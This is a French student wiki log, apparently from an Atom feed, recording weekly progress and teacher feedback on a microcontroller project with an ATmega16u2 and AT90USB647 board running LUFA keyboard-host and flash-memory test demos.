ReX : La fonction de délai est &amp;lt;code&amp;gt;_delay_ms&amp;lt;/code&amp;gt;, le fichier d'inclusion nécessaire est &amp;lt;code&amp;gt;util/delay.h&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
=== &amp;lt;u&amp;gt;Semaine 2&amp;lt;/u&amp;gt; ===&lt;br /&gt;
&lt;br /&gt;
L'erreur apparaît car la fonctionnalité USB côté Atmega16u2 n'est pas implémenter/implémentable.&lt;br /&gt;
&lt;br /&gt;
ReX : Cette phrase n'a pas de sens l'ATMega16u2 est bien doté d'une implantation USB matérielle. A la livraison du matériel j'ai aussi montré le bon fonctionnement du mode DFU/USB et la façon d'y faire entre le microcontrôleur.&lt;br /&gt;
&lt;br /&gt;
ReX : Au vu des erreurs dans le projet LUFA je crois comprendre ce que vous voulez dire c'est que vos erreurs dans le projets LUFA font que la fonctionnalité USB de ce projet est défaillante. Corrigez, testez à nouveau ...&lt;br /&gt;
[[Fichier:Image.png|vignette]]&lt;br /&gt;
Benjamin : Après avoir corriger le code pour le 16u2, j'ai essayé d'implémenter un code pour l'USB647, mais lorsque je regarde dans mes périphériques, mon ordinateur ne reconnaît pas ... J'ai essayé de voir dans les travaux déjà réalisé et ai trouvé qu'il y'avait une manière particulière de bootloader le micro contrôleur (à la même manière qu'avec le 16u2) &amp;lt;ref&amp;gt;[[:Fichier:Keyboard problem2.jpg]]&amp;lt;/ref&amp;gt;, mais le périphérique reste inconnu pour ma machine.&lt;br /&gt;
&lt;br /&gt;
Benjamin : J'ai réussi à trouver le périphérique en téléchargeant le logiciel [https://www.microchip.com/en-us/development-tool/flip FLIP] et en suivant cette vidéo (&amp;lt;nowiki&amp;gt;https://youtu.be/Vd0F0XHzchY&amp;lt;/nowiki&amp;gt;).&lt;br /&gt;
&lt;br /&gt;
ReX : Tu tentes de faire le projet sous windows ?&lt;br /&gt;
&lt;br /&gt;
Benjamin : Non, j'utilise une VM Linux pour faire le projet, mais je n'ai que des machines Windows chez moi et impossible de Dual Boot mon PC.&lt;br /&gt;
&lt;br /&gt;
ReX ; Dans ce cas tu peux affecter le périphèrique USB en mode DFU à la machine virtuelle et téléverser avec &amp;lt;code&amp;gt;dfu-programmer&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
ReX : Une preuve du fonctionnement pour l'ATMega16u2 ?&lt;br /&gt;
&lt;br /&gt;
Benjamin : Non, il n'y a pas de preuve du fonctionnement de l'ATMega16u2 concernant la partie USB, néanmoins de part la consigne de la première étape qui m'a été donné ci-dessus, il est question de vérifier le fonctionnement du microcontrôleur et donc de savoir si il est aussi possible de téléverser un programme sur celui-ci. On peut donc voir par la vidéo fourni la semaine dernière que le microcontrôleur fonctionne correctement, sans pour autant avoir la partie USB fonctionnelle.&lt;br /&gt;
&lt;br /&gt;
Cependant, en téléversant la démo fourni par LUFA, on voit que l'ATMega16u2 prend le contrôle de mon clavier [[:Fichier:Video-atmega16u2-usb.mp4|(voir vidéo)]].&lt;br /&gt;
&lt;br /&gt;
ReX : Heu je te vois taper sur ton clavier ?&lt;br /&gt;
&lt;br /&gt;
Benjamin : J'ai essayé de voir pour résoudre le problème concernant la connexion à l'USB647, mais je n'ai toujours pas de solution. J'essaie de voir pour emprunter une machine à un ami qui soit sous booté sous Linux afin de voir si le problème vient du système d'exploitation.&lt;br /&gt;
&lt;br /&gt;
ReX : Heu, alors 1) faire SE sans machine Linux c'est quand même un problème 2) au pire démarre un Linux live sur une clef USB. Tu vas quand même pas t'arrêter sur ce genre de détail !&lt;br /&gt;
&lt;br /&gt;
=== &amp;lt;u&amp;gt;Semaine 3&amp;lt;/u&amp;gt; ===&lt;br /&gt;
Benjamin : J'ai booté un ancien PC avec une distribution Linux et j'arrive enfin à utiliser l'AT90USB647. J'ai alors configuré le code réalisé par les PeiP en renseignant les bonnes informations à propos de la Flash et des Leds. Cependant, en téléversant mon programme, les leds ne s'allume pas, j'ai essayé de regarder si la tension était bonne aux broches des Leds (Broches F5 et F6) et il semble que la tension délivré soit la basse impédance. &lt;br /&gt;
&lt;br /&gt;
&amp;lt;u&amp;gt;Fichier :&amp;lt;/u&amp;gt; [[:Fichier:MassStoragePeiP.zip|Code_AT90USB]]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;u&amp;gt;Question :&amp;lt;/u&amp;gt; Y'a t'il des choses à configurer correctement afin d'utiliser l'AT90USB ? Car dans l'état, je ne peux pas savoir si tout fonctionne sans témoin visuel. &lt;br /&gt;
&lt;br /&gt;
Update : Tout fonctionne concernant l'AT90USB647, seulement que les LEDS ont été soudés à l'envers. &lt;br /&gt;
&lt;br /&gt;
=== &amp;lt;u&amp;gt;Semaine 4&amp;lt;/u&amp;gt; ===&lt;br /&gt;
Pendant cette semaine, j'ai essayé de mettre en place les deux démos de la librairie LUFA : MassStorage et KeyboardHost, énoncés dans les tâches à effectuer ci-dessus.&lt;br /&gt;
&lt;br /&gt;
ReX : J'ai beau chercher je vois pas où j'ai demandé de tester MassStorage sur l'AT90USB, dans mon esprit c'était les programmes de test de la mémoire qui peuvent se trouver sur le site des BE SE PeiP.&lt;br /&gt;
&lt;br /&gt;
Benjamin : Je pense que je suis parti sur MassStorage car en fouillant sur le [https://peip-ima.plil.fr/mediawiki/index.php/BE_2022-2023 wiki] j'avais trouvé ce [https://peip-ima.plil.fr/mediawiki/images/6/6b/MassStoragePeiP.zip fichier], alors que vous faisiez référence à ce [https://peip-ima.plil.fr/mediawiki/index.php/Binome2019-2 projet].&lt;br /&gt;
&lt;br /&gt;
''&amp;lt;u&amp;gt;MassStorage :&amp;lt;/u&amp;gt;'' J'ai repris le code [[:Fichier:MassStoragePeiP.zip|MassStoragePeiP]] et ai adapté les broches de leds aux broches PD2 et PD3 qui pouvait être récupérer via des broches mâles afin de faire clignoter des leds sur une board externe, en attendant de résoudre le problème des leds souder à l'envers.&lt;br /&gt;
&lt;br /&gt;
ReX : Alors 1) ce code ne fait aucun test sur la mémoire, voir les tests TestMem, TestMemRW et TestMemRW2 comme indiqué par courriel 2) les LEDs ne marcheront pas correctement tant que l'AT90USB n'aura pas été lancé sur l'horloge interne et tant que le JTAG n'aura pas été désactivé, voir le programme Blink envoyé par courriel.&lt;br /&gt;
&lt;br /&gt;
Je pense que tout est bien configuré et tout fonctionne concernant la liaison entre l'AT90 et l'AT45 car les clignotements de leds entre chaque tâche d'appel est présent ce qui indiquerait un bon fonctionnement.&lt;br /&gt;
&lt;br /&gt;
ReX : Heu non pratiquement rien n'est correctement configuré (voir remarque précédente), de plus je ne vois où tu es sensé avoir vérifié quelque chose via les LED, le fait que tu n'indiques pas les modifications apportées en ce sens n'aide pas. Par contre l'idée d'utiliser des LED externes sur plaque d'essai est une bonne idée en attendant de réparer la carte fournie.&lt;br /&gt;
&lt;br /&gt;
'''''Update :''''' Après en avoir discuté avec ReX par mail, l'utilisation de la démo MassStorage pour tester la flash était overkill, il m'a donc donné un programme pour tester la mémoire (que l'on retrouve sur le wiki des PeiP : [https://peip-ima.plil.fr/mediawiki/index.php/Fichier:MemoireB2.zip lien]).&lt;br /&gt;
&lt;br /&gt;
ReX : Oui :)&lt;br /&gt;
&lt;br /&gt;
''&amp;lt;u&amp;gt;KeyboardHost :&amp;lt;/u&amp;gt;'' J'ai repris la démo de la librairie LUFA que je n'ai pas beaucoup modifié pour pouvoir l'utiliser, et tout semble bien fonctionner après le téléversement du programme.&lt;br /&gt;
&lt;br /&gt;
ReX : Oui mais ça aiderait d'avoir le projet pour vérifier si le JTAG est bien désactivé, si le microcontrôleur est bien lancé sur l'horloge externe, etc.&lt;br /&gt;
&lt;br /&gt;
Cependant, puisque les seuls leds que j'ai pour l'instant à ma disposition occupe les broches pour la communication UART (liaison série), je n'arrivais pas à comprendre pourquoi je n'avais pas le comportement que j'avais essayé d'avoir via le programme (clignotement de led dans certains cas et autre), avant de comprendre que les signaux que les leds recevait était la communication UART.&lt;br /&gt;
&lt;br /&gt;
ReX : Le port série est effectivement utilisé dans la démonstration LUFA pour afficher quelques touches, il faudrait plutôt que tu changes l'état de tes 2 LED si des touches bien précises sont appuyées, avec 2 LED, tu peux tester 4 touches c'est déjà ça.&lt;br /&gt;
&lt;br /&gt;
Mis à part ça, j'ai connecté un clavier via le port USB de la carte et j'observe que le clavier est bien lié à l'ordinateur qui alimente la carte électronique. Le microcontrôleur agît bien comme un clavier hôte.&lt;br /&gt;
&lt;br /&gt;
ReX : Je ne comprend pas là, il est impossible que le clavier soit reconnu si tu connectes l'ATMega16u2 à ton PC, tout ce qu'il va voir c'est la démonstration LUFA que tu as chargé dans l'ATMega16u2, rien à voir.&lt;br /&gt;
&lt;br /&gt;
Benjamin : C'est l'AT90USB qui est connecté à mon PC, pour l'instant je n'ai plus touché à l'Atmega depuis. J'ai donc téléverser la démo et je peux interagir sur mon PC avec le clavier brancher sur la carte, mais après réflexion je me demande si c'est vraiment grâce au programme que je peux faire ca. Est-ce que ce serait pas parce qu'il y'a une connexion entre l'USB-B du clavier et l'USB-DFU que le clavier arrive à communiquer avec mon PC ?&lt;br /&gt;
&lt;br /&gt;
ReX : Tu utilises à la fois le connecteur USB A femelle et le connecteur micro USB du coté de l'AT90USB ? Si c'est le cas ça va faire des étincelles : tu connectes un périphérique USB à DEUX contrôleurs USB, ça ne peut pas bien se passer ...&lt;br /&gt;
&lt;br /&gt;
&amp;lt;s&amp;gt;J'ai essayé de mettre en place une interface afin de voir les caractères tapés et transmis par la liaison série. On retrouve donc un Arduino et un écran LCD qui est censé montrer la touche tapé. Mais lorsque j'ai essayé de lié l'Arduino avec l'AT90USB, je n'arrivais pas à recevoir les touches tapés sur mon clavier (je pense que dans le programme du microcontrôleur, il ne comprend pas quelle touche est tapé) et me retrouver sans caractère. J'ai donc essayé en envoyant en boucle une lettre précise comme ci-dessous :&amp;lt;/s&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Afin de pouvoir observer les touches tapés sur le clavier, j'ai mis en place un Arduino et un écran LCD. Il y'aurait donc une liaison entre l'Arduino et l'AT90 via UART afin de récupérer l'information sur la touche tapée.&lt;br /&gt;
&lt;br /&gt;
J'ai donc essayé de récupérer les touches tapées via la liaison série, mais je ne récupère rien du tout. J'ai donc essayé d'envoyer en boucle un caractère (code ci-dessous) et on le retrouve bien sur l'écran LCD.&lt;br /&gt;
&lt;br /&gt;
D'où mon questionnement sur le fait de savoir si dans le programme, on récupère bien le caractère tapé sur le clavier ou non.&lt;br /&gt;
&lt;br /&gt;
ReX : Corrige les fautes d'orthographe dans ce paragraphe, je n'arrive même pas à comprendre ce que tu veux dire.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
// Et ça m'affiche le caractère A sur l'écran LED&lt;br /&gt;
putchar('A');&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
[[Fichier:Arduino-LCD &amp;amp; At90.jpg|centré|vignette|Montage Arduino/LCD &amp;amp; KeyLogger]]&lt;br /&gt;
On retrouve le fil bleu qui est le RX de l'arduino et le TX de l'AT90, pour le fil rouge l'inverse, et le fil gris est la masse.&lt;br /&gt;
&lt;br /&gt;
ReX : La carte keylogger n'est pas présente sur la photo, tu as bien pensé à connecter les masses ? et à inverser les RX/TX ?&lt;br /&gt;
&lt;br /&gt;
Pour la suite, il faudrait que je réfléchisse sur la manière de faire pour que l'Arduino capte les données de la liaison série alimentée en 3.3V.&lt;br /&gt;
&lt;br /&gt;
ReX : Ca ne va pas être simple. Le mieux est de tester avec les LED externes puis faire un test complet avec connexion série entre l'AT90USB et l'ATMega16u2. Les LED de l'ATMega16u2 sont bien configurées et si tu veux afficher les touches par port série tu peux passer l'ATMega16u2 en passerelle USB série en chargeant la bonne démonstration LUFA.&lt;br /&gt;
&lt;br /&gt;
'''''NB :''''' pour alimenter l'AT90USB en 3.3V, il faut changer la position du cavalier de la jonction J10 (les deux pins côté Port USB)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
J'ai corrigé le problème des leds, je les ai ressoudés dans le bon sens.&lt;br /&gt;
&lt;br /&gt;
Cependant, dans le processus, j'en ai perdu une que j'ai donc remplacé avec une led d'un de mes arduino qui n'est plus fonctionnel.&lt;br /&gt;
[[Fichier:AT90 leds fix.jpg|vignette|Carte avec les nouvelles leds soudé dans le bon sens]]&lt;br /&gt;
&lt;br /&gt;
=== &amp;lt;u&amp;gt;Semaine 5&amp;lt;/u&amp;gt; ===&lt;br /&gt;
J'ai travaillé sur l'accès mémoire de l'AT45DB641E en commençant par comprendre le fichier de test envoyé et [https://peip-ima.plil.fr/mediawiki/index.php/Fichier:MemoireB2.zip trouvé]. On peut voir la démonstration du programme avec la [[:Fichier:TestMem CMD.mp4|vidéo suivante]].&lt;br /&gt;
&lt;br /&gt;
Ensuite, pour pouvoir me faire la main avec la librairie récemment acquise, j'ai écris un programme qui écris dans la mémoire des données que je récupère ensuite. On peut voir la démonstration dans la [[:Fichier:TestMem WR.mp4|vidéo suivante]].&lt;br /&gt;
&lt;br /&gt;
On retrouve le code des deux programmes via ce [[:Fichier:TestMem CMD WR.zip|lien]].&lt;br /&gt;
&lt;br /&gt;
J'ai ajouté dans le code une fonction ''blink_ending'' pour distinguer les fins de fonction.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Aujourd'hui, j'ai travaillé sur la démonstration KeyboardHost sur l'AT90USB647. On peut voir la démonstration en [[:Fichier:KeyboardHost Demo Video.mp4|vidéo]].&lt;br /&gt;
&lt;br /&gt;
On peut aussi observer dans la vidéo que l'on alimente l'AT90USB647 avec l'Atmega16U2.&lt;br /&gt;
&lt;br /&gt;
Lors du téléversement du programme, je ne comprenais pas pourquoi les leds ne s'allumaient pas, jusqu'à ce que je me souvienne d'une conversation avec ReX par mail parlant de correctement configurer l'horloge du microcontrôleur. On peut retrouver le programme de démonstration avec la configuration des leds ainsi que de l'horloge [[:Fichier:KeyboardHost.zip|ici]].&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
En voulant continuer sur ma lancée en liant les deux microcontrôleurs, je n'arrive pas encore à récupérer les touches tapés via la liaison série. Cependant, en me rappelant l'Arduino LCD réalisé précédemment, et ai filmé une démonstration du KeyboardHost avec l'Arduino LCD qui affiche les caractères tapés. On peut voir la vidéo via [[:Fichier:KeyboardHost LCD.mp4|ce lien]].&lt;br /&gt;
&lt;br /&gt;
= Documents Rendus =&lt;br /&gt;
[[:Fichier:Keyboard-Device-Atmega (Semaine 1).zip#file]]&lt;br /&gt;
&lt;br /&gt;
ReX : Erreur dans la fonction &amp;lt;code&amp;gt;LEDs_ToggleLEDs&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
ReX : Erreur dans le &amp;lt;code&amp;gt;makefile&amp;lt;/code&amp;gt;, la fréquence de lu quartz externe est de 8Mhz. Mettre le code ci-dessous en début de fonction &amp;lt;code&amp;gt;main&amp;lt;/code&amp;gt; :&lt;br /&gt;
 CLKSEL0 = 0b00010101;   // sélection de l'horloge externe&lt;br /&gt;
 CLKSEL1 = 0b00001111;   // minimum de 8Mhz&lt;br /&gt;
 CLKPR = 0b10000000;     // modification du diviseur d'horloge (CLKPCE=1)&lt;br /&gt;
 CLKPR = 0;              // 0 pour pas de diviseur (diviseur de 1)&lt;br /&gt;
Tests AT45DB641E : [[:Fichier:TestMem CMD WR.zip|Fichiers de test mémoire]]&lt;br /&gt;
&lt;br /&gt;
Tests AT90USB647 : [[:Fichier:KeyboardHost.zip|Fichiers KerboardHost]]&lt;/div&gt;</summary>
		<author><name>Bnguyen1</name></author>
	</entry>
</feed>